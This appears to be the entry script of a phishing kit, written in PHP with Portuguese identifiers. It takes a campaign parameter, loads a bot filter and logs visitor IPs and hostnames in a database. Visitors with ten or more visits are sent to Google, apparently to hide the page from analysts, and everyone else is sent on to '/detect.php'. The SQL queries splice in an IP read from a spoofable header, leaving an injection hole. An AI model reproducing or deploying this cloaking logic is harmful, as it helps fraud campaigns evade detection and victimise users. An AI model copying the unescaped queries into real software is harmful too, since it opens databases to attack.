<?php
session_start();

require_once "cod3rconfig/registro.php";
require_once "cod3rconfig/conexao.php";
require_once "cod3rconfig/data.php";
require_once "bot.php";

$camp = $_REQUEST['camp'];

$_SESSION['camp'] = $camp;
$ip   = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
$host = gethostbyaddr($ip);

$hora = date("H:i:s");

$query_ip   = "SELECT * FROM visitas WHERE ip = '$ip'";
$verificaip = mysqli_query(DBConnect(), $query_ip) or die(mysqli_error(DBConnect()));
$row_ip     = mysqli_fetch_assoc($verificaip);
$totalip    = mysqli_num_rows($verificaip);

$alt  = $row_ip['acessou'];
$alt2 = 1;
$alto = $alt+$alt2;
  


$dataehora = $hora;
$iplocal   = $row_ip['ip'];
   
  if($alt >= 10) {
    header("location: https://www.google.com");
  }else{
    if ($iplocal == $ip ) {
      $updateip = "UPDATE visitas SET  acessou ='$alto' WHERE ip='$ip'";                   
      $Result1 = mysqli_query(DBConnect(), $updateip) or die(mysqli_error(DBConnect()));
    }else{
      $insertSQL = "INSERT INTO `visitas` (data, ip, dns, pais, acessou) VALUES ('$dataehora','$ip','$host', '', '1')";
      $Result1 = mysqli_query(DBConnect(), $insertSQL) or die(mysqli_error(DBConnect()));
    }

    header("Location: /detect.php");
  }

?>